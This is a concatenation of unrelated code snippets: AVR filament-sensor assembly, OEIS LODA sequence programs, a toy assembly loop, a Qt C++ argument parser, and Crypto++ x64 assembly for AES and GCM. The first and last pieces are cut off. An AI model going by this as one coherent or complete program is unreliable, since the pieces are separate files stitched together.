cp foscL,NULR ;filament out signal active?
cpc foscH,NULR ;
breq fo09 ;no, exit
sbiw foscH:foscL,1 ;count down
brne fo09 ;counter down? no, exit
.if LOGIC == 0
sbi CTRP,FOUT ;filament ok, pin H
.elif LOGIC == 1
cbi CTRP,FOUT ;filament ok, pin L
.endif
fo09: ret ;exit, Z=0 counter running, Z=1 counter stopped
;-------------------------------------------------------------------------------
detCheck:
sbrc FLAGR,DETOFF ;detection off?
rjmp dc08 ;yes, reset threshold counters and exit
mov a4,avgS ;copy slow average, detection check
sub a4,avgF ;fast level lower than slow mid level?
brcc thlo ;yes, check low thresholds
mov a4,avgF ;copy fast average
sub a4,avgS ;fast level higher than slow mid level?
brcc thhi ;yes, check high thresholds
;- - - - - - - - - - - - - - - - - - - -
dc08: clr thclo ;reset threshold counters
clr thchi ;
dc09: ret ;exit
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
thlo: cpi a4,ADVTH ;>= AD voltage threshold?
brlo dc08 ;no, reset threshold counters and exit
inc thclo ;count up low threshold counter
mov a4,thclo ;copy counter
rjmp th01
thhi: cpi a4,ADVTH ;>= AD voltage threshold?
brlo dc08 ;no, reset threshold counters and exit
inc thchi ;count up high threshold counter
mov a4,thchi ;copy counter
th01: cpi a4,MINTHR ;< min threshold row
brlo dc09 ;yes, exit
;- - - - - - - - - - - - - - - - - - - -
detection:
.if LOGIC == 0
cbi CTRP,FOUT ;filament out, pin L
.elif LOGIC == 1
sbi CTRP,FOUT ;filament out, pin H
.endif
ori FLAGR,(1<<FIOUM) ; memo
ldi foscL,low(FOSDU) ;set signal counter
ldi foscH,high(FOSDU) ;
rjmp dc08 ;reset threshold counters and exit
;-------------------------------------------------------------------------------
delay40ms:
ldi a4,250
ldi a5,255
dec a5
brne PC-1
dec a4
brne PC-4
ret
|
; A290995: p-INVERT of (1,1,1,1,1,...), where p(S) = 1 - S^8.
; 0,0,0,0,0,0,0,1,8,36,120,330,792,1716,3432,6436,11456,19584,32640,54264,93024,170544,341088,735472,1653632,3749760,8386560,18289440,38724480,79594560,159189120,311058496,597137408,1133991936,2147450880,4089171840,7887416832,15483906816,30967813632,62929006336,129249806336,266688497664,549755289600,1127470600704,2294482950144,4628507649024,9257015298048,18379028104192,36297131835392,71481499729920,140737479966720,277675768903680,549978675240960,1094584487915520,2189168975831040,4396682075631616,8855994955563008
mov $3,$0
mov $4,79
lpb $4
mov $2,$3
bin $2,$4
add $1,$2
sub $4,8
lpe
|
; A173155: a(n) = binomial(n + 5, 5) * 8^n.
; 1,48,1344,28672,516096,8257536,121110528,1660944384,21592276992,268703891456,3224446697472,37520834297856,425236122042368,4710307813392384,51140484831117312,545498504865251328,5727734301085138944,59298896293587320832,606166495445559279616,6125471953976177983488,61254719539761779834880,606713412584307152650240,5956822596282288407838720,58014272242053591450255360,560804631673184717352468480,5383724464062573286583697408,51352448734135314425875267584,486897291701431129371261796352
mov $1,8
pow $1,$0
mov $2,$0
add $2,5
bin $2,$0
mul $1,$2
mov $0,$1
|
; A348720: Decimal expansion of 4*cos(2*Pi/13)*cos(3*Pi/13).
; Submitted by Jamie Morken(s3)
; 2,6,5,1,0,9,3,4,0,8,9,3,7,1,7,5,3,0,6,2,5,3,2,4,0,3,3,7,7,8,7,6,1,5,4,0,3,1,3,2,4,4,1,0,7,5,7,0,5,5,9,6,6,8,4,0,1,8,7,6,7,7,9,0,3,2,7,6,0,4,2,1,7,4,7,5,0,8,4,2,5,0,5,6,2,1,0,8,9,6,3,9,2,4,0,9,8,3,3,9
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
mov $1,$5
add $4,$2
add $5,$2
add $5,$2
add $2,$1
sub $3,1
add $5,$4
sub $5,48
lpe
mov $1,1
add $1,$5
add $1,1
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
global 0 "Hello world.\n\0"
mov $0, 0
print_loop:
mov $1, [$0]
jz $1, break_print
out $1
add $0, 1
jmp print_loop
break_print:
|
/***********************************************************************************************************************
**
** Copyright (c) 2011, 2015 ETH Zurich
** All rights reserved.
**
** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
** following conditions are met:
**
** * Redistributions of source code must retain the above copyright notice, this list of conditions and the following
** disclaimer.
** * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
** following disclaimer in the documentation and/or other materials provided with the distribution.
** * Neither the name of the ETH Zurich nor the names of its contributors may be used to endorse or promote products
** derived from this software without specific prior written permission.
**
**
** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
** INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
** DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
** SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**
***********************************************************************************************************************/
#include "Probes.h"
namespace OODebug {
QPair<QList<Probes::ValueCalculator>, QStringList> Probes::parseProbeArguments(QStringList arguments)
{
static const QRegularExpression NUMBER_REGEX{"^(\\d+)$"};
static const QRegularExpression OPERATOR_REGEX{"^([+\\-*/]?)$"};
QList<ValueCalculator> calculators;
QStringList variableNames;
for (int i = 0; i < arguments.size(); ++i)
{
QString arg = arguments[i];
if (!OPERATOR_REGEX.match(arg).hasMatch())
{
bool isNumber = NUMBER_REGEX.match(arg).hasMatch();
double value = 0;
if (isNumber) value = arg.toDouble();
int index = variableNames.indexOf(arg);
if (!isNumber && -1 == index)
{
index = variableNames.size();
variableNames << arg;
}
// lookahead
if (i + 1 < arguments.size() && OPERATOR_REGEX.match(arguments[i+1]).hasMatch())
{
// TODO: If after a operator we do not have anything we just fail here:
if (i + 2 >= arguments.size()) Q_ASSERT(false);
auto opFunc = operatorFromString(arguments[i+1]);
bool isNumber2 = NUMBER_REGEX.match(arguments[i+2]).hasMatch();
double value2 = 0;
if (isNumber2) value2 = arguments[i+2].toDouble();
int index2 = variableNames.indexOf(arguments[i+2]);
if (!isNumber2 && -1 == index2)
{
index2 = variableNames.size();
variableNames << arguments[i+2];
}
if (isNumber && isNumber2)
calculators << [value, value2, opFunc](QList<double>)
{return opFunc(value, value2);};
else if (isNumber)
calculators << [value, index2, opFunc](QList<double> values)
{return opFunc(value, values[index2]);};
else if (isNumber2)
calculators << [index, value2, opFunc](QList<double> values)
{return opFunc(values[index], value2);};
else
calculators << [index, index2, opFunc](QList<double> values)
{return opFunc(values[index], values[index2]);};
i += 2;
}
else
{
// only single argument
if (isNumber)
calculators << [value](QList<double>) { return value; };
else
calculators << ([index](QList<double> values) { return values[index];});
}
}
}
return {calculators, variableNames};
}
Probes::ValueOperator Probes::operatorFromString(QString operatorString)
{
if (operatorString == "+") return [](double a, double b) { return a + b; };
else if (operatorString == "-") return [](double a, double b) { return a - b; };
else if (operatorString == "*") return [](double a, double b) { return a * b; };
else if (operatorString == "/") return [](double a, double b) { return a / b; };
Q_ASSERT(false);
}
}
|
include ksamd64.inc
EXTERNDEF ?Te@rdtable@CryptoPP@@3PA_KA:FAR
EXTERNDEF ?g_cacheLineSize@CryptoPP@@3IA:FAR
EXTERNDEF ?SHA256_K@CryptoPP@@3QBIB:FAR
.CODE
ALIGN 8
Baseline_Add PROC
lea rdx, [rdx+8*rcx]
lea r8, [r8+8*rcx]
lea r9, [r9+8*rcx]
neg rcx ; rcx is negative index
jz $1@Baseline_Add
mov rax,[r8+8*rcx]
add rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
$0@Baseline_Add:
mov rax,[r8+8*rcx+8]
adc rax,[r9+8*rcx+8]
mov [rdx+8*rcx+8],rax
lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2
jrcxz $1@Baseline_Add ; loop until rcx overflows and becomes zero
mov rax,[r8+8*rcx]
adc rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
jmp $0@Baseline_Add
$1@Baseline_Add:
mov rax, 0
adc rax, rax ; store carry into rax (return result register)
ret
Baseline_Add ENDP
ALIGN 8
Baseline_Sub PROC
lea rdx, [rdx+8*rcx]
lea r8, [r8+8*rcx]
lea r9, [r9+8*rcx]
neg rcx ; rcx is negative index
jz $1@Baseline_Sub
mov rax,[r8+8*rcx]
sub rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
$0@Baseline_Sub:
mov rax,[r8+8*rcx+8]
sbb rax,[r9+8*rcx+8]
mov [rdx+8*rcx+8],rax
lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2
jrcxz $1@Baseline_Sub ; loop until rcx overflows and becomes zero
mov rax,[r8+8*rcx]
sbb rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
jmp $0@Baseline_Sub
$1@Baseline_Sub:
mov rax, 0
adc rax, rax ; store carry into rax (return result register)
ret
Baseline_Sub ENDP
ALIGN 8
Rijndael_Enc_AdvancedProcessBlocks_SSE2 PROC FRAME
rex_push_reg rsi
push_reg rdi
push_reg rbx
push_reg r12
.endprolog
mov r8, rcx
mov r11, ?Te@rdtable@CryptoPP@@3PA_KA
mov edi, DWORD PTR [?g_cacheLineSize@CryptoPP@@3IA]
mov rsi, [(r8+16*19)]
mov rax, 16
and rax, rsi
movdqa xmm3, XMMWORD PTR [rdx+16+rax]
movdqa [(r8+16*12)], xmm3
lea rax, [rdx+rax+2*16]
sub rax, rsi
label0:
movdqa xmm0, [rax+rsi]
movdqa XMMWORD PTR [(r8+0)+rsi], xmm0
add rsi, 16
cmp rsi, 16*12
jl label0
movdqa xmm4, [rax+rsi]
movdqa xmm1, [rdx]
mov r12d, [rdx+4*4]
mov ebx, [rdx+5*4]
mov ecx, [rdx+6*4]
mov edx, [rdx+7*4]
xor rax, rax
label9:
mov esi, [r11+rax]
add rax, rdi
mov esi, [r11+rax]
add rax, rdi
mov esi, [r11+rax]
add rax, rdi
mov esi, [r11+rax]
add rax, rdi
cmp rax, 2048
jl label9
lfence
test DWORD PTR [(r8+16*18+8)], 1
jz label8
mov rsi, [(r8+16*14)]
movdqu xmm2, [rsi]
pxor xmm2, xmm1
psrldq xmm1, 14
movd eax, xmm1
mov al, BYTE PTR [rsi+15]
mov r10d, eax
movd eax, xmm2
psrldq xmm2, 4
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
psrldq xmm2, 3
mov eax, [(r8+16*12)+0*4]
mov edi, [(r8+16*12)+2*4]
mov r9d, [(r8+16*12)+3*4]
movzx esi, cl
xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bl
xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bh
xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ebx, 16
movzx esi, bl
xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, bh
mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
xor ebx, [(r8+16*12)+1*4]
movzx esi, ch
xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ecx, 16
movzx esi, dl
xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
movzx esi, ch
xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dl
xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dh
xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movd ecx, xmm2
mov edx, r12d
mov [(r8+0)+3*4], r9d
mov [(r8+0)+0*4], eax
mov [(r8+0)+1*4], ebx
mov [(r8+0)+2*4], edi
jmp label5
label3:
mov r12d, [(r8+16*12)+0*4]
mov ebx, [(r8+16*12)+1*4]
mov ecx, [(r8+16*12)+2*4]
mov edx, [(r8+16*12)+3*4]
label8:
mov rax, [(r8+16*14)]
movdqu xmm2, [rax]
mov rsi, [(r8+16*14)+8]
movdqu xmm5, [rsi]
pxor xmm2, xmm1
pxor xmm2, xmm5
movd eax, xmm2
psrldq xmm2, 4
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor r12d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, r12d
add r8, [(r8+16*19)]
add r8, 4*16
jmp label2
label1:
mov ecx, r10d
mov edx, r12d
mov eax, [(r8+0)+0*4]
mov ebx, [(r8+0)+1*4]
xor cl, ch
and rcx, 255
label5:
add r10d, 1
xor edx, DWORD PTR [r11+rcx*8+3]
movzx esi, dl
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
mov ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
xor ecx, [(r8+0)+2*4]
movzx esi, dh
xor eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, dl
mov edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
xor edx, [(r8+0)+3*4]
add r8, [(r8+16*19)]
add r8, 3*16
jmp label4
label2:
mov r9d, [(r8+0)-4*16+3*4]
mov edi, [(r8+0)-4*16+2*4]
movzx esi, cl
xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov cl, al
movzx esi, ah
xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr eax, 16
movzx esi, bl
xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bh
xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ebx, 16
movzx esi, al
xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, ah
mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, bl
xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, bh
mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ch
xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
shr ecx, 16
movzx esi, dl
xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
movzx esi, ch
xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dl
xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dh
xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
mov ecx, edi
xor eax, [(r8+0)-4*16+0*4]
xor ebx, [(r8+0)-4*16+1*4]
mov edx, r9d
label4:
mov r9d, [(r8+0)-4*16+7*4]
mov edi, [(r8+0)-4*16+6*4]
movzx esi, cl
xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov cl, al
movzx esi, ah
xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr eax, 16
movzx esi, bl
xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bh
xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ebx, 16
movzx esi, al
xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, ah
mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, bl
xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, bh
mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ch
xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
shr ecx, 16
movzx esi, dl
xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
movzx esi, ch
xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dl
xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dh
xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
mov ecx, edi
xor eax, [(r8+0)-4*16+4*4]
xor ebx, [(r8+0)-4*16+5*4]
mov edx, r9d
add r8, 32
test r8, 255
jnz label2
sub r8, 16*16
movzx esi, ch
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, dl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+2], di
movzx esi, dh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, al
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+6], di
shr edx, 16
movzx esi, ah
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, bl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+10], di
shr eax, 16
movzx esi, bh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, cl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+14], di
shr ebx, 16
movzx esi, dh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, al
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+12], di
shr ecx, 16
movzx esi, ah
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, bl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+0], di
movzx esi, bh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, cl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+4], di
movzx esi, ch
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, dl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+8], di
mov rax, [(r8+16*14)+16]
mov rbx, [(r8+16*14)+24]
mov rcx, [(r8+16*18+8)]
sub rcx, 16
movdqu xmm2, [rax]
pxor xmm2, xmm4
movdqa xmm0, [(r8+16*16)+16]
paddq xmm0, [(r8+16*14)+16]
movdqa [(r8+16*14)+16], xmm0
pxor xmm2, [(r8+16*13)]
movdqu [rbx], xmm2
jle label7
mov [(r8+16*18+8)], rcx
test rcx, 1
jnz label1
movdqa xmm0, [(r8+16*16)]
paddq xmm0, [(r8+16*14)]
movdqa [(r8+16*14)], xmm0
jmp label3
label7:
xorps xmm0, xmm0
lea rax, [(r8+0)+7*16]
movaps [rax-7*16], xmm0
movaps [rax-6*16], xmm0
movaps [rax-5*16], xmm0
movaps [rax-4*16], xmm0
movaps [rax-3*16], xmm0
movaps [rax-2*16], xmm0
movaps [rax-1*16], xmm0
movaps [rax+0*16], xmm0
movaps [rax+1*16], xmm0
movaps [rax+2*16], xmm0
movaps [rax+3*16], xmm0
movaps [rax+4*16], xmm0
movaps [rax+5*16], xmm0
movaps [rax+6*16], xmm0
pop r12
pop rbx
pop rdi
pop rsi
ret
Rijndael_Enc_AdvancedProcessBlocks_SSE2 ENDP
ALIGN 8
GCM_AuthenticateBlocks_2K_SSE2 PROC FRAME
rex_push_reg rsi
push_reg rdi
push_reg rbx
.endprolog
mov rsi, r8
mov r11, r9
movdqa xmm0, [rsi]
label0:
movdqu xmm4, [rcx]
pxor xmm0, xmm4
movd ebx, xmm0
mov eax, 0f0f0f0f0h
and eax, ebx
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
movdqa xmm5, XMMWORD PTR [rsi + 32 + 1024 + rdi]
movzx edi, al
movdqa xmm4, XMMWORD PTR [rsi + 32 + 1024 + rdi]
shr eax, 16
movzx edi, ah
movdqa xmm3, XMMWORD PTR [rsi + 32 + 1024 + rdi]
movzx edi, al
movdqa xmm2, XMMWORD PTR [rsi + 32 + 1024 + rdi]
psrldq xmm0, 4
movd eax, xmm0
and eax, 0f0f0f0f0h
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
movzx edi, al
pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
shr eax, 16
movzx edi, ah
pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
movzx edi, al
pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
psrldq xmm0, 4
movd eax, xmm0
and eax, 0f0f0f0f0h
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
movzx edi, al
pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
shr eax, 16
movzx edi, ah
pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
movzx edi, al
pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
psrldq xmm0, 4
movd eax, xmm0
and eax, 0f0f0f0f0h
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
movzx edi, al
pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
shr eax, 16
movzx edi, ah
pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
movzx edi, al
pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
movdqa xmm0, xmm3
pslldq xmm3, 1
pxor xmm2, xmm3
movdqa xmm1, xmm2
pslldq xmm2, 1
pxor xmm5, xmm2
psrldq xmm0, 15
movd rdi, xmm0
movzx eax, WORD PTR [r11 + rdi*2]
shl eax, 8
movdqa xmm0, xmm5
pslldq xmm5, 1
pxor xmm4, xmm5
psrldq xmm1, 15
movd rdi, xmm1
xor ax, WORD PTR [r11 + rdi*2]
shl eax, 8
psrldq xmm0, 15
movd rdi, xmm0
xor ax, WORD PTR [r11 + rdi*2]
movd xmm0, eax
pxor xmm0, xmm4
add rcx, 16
sub rdx, 1
jnz label0
movdqa [rsi], xmm0
pop rbx
pop rdi
pop rsi
ret
GCM_AuthenticateBlocks_2K_SSE2 ENDP
ALIGN 8
GCM_AuthenticateBlocks_64K_SSE2 PROC FRAME
rex_push_reg rsi
push_reg rdi
.endprolog
mov rsi, r8
movdqa xmm0, [rsi]
label1:
movdqu xmm1, [rcx]
pxor xmm1, xmm0
pxor xmm0, xmm0
movd eax, xmm1
psrldq xmm1, 4
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+3)*256*16 + rdi*8]
movd eax, xmm1
psrldq xmm1, 4
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+3)*256*16 + rdi*8]
movd eax, xmm1
psrldq xmm1, 4
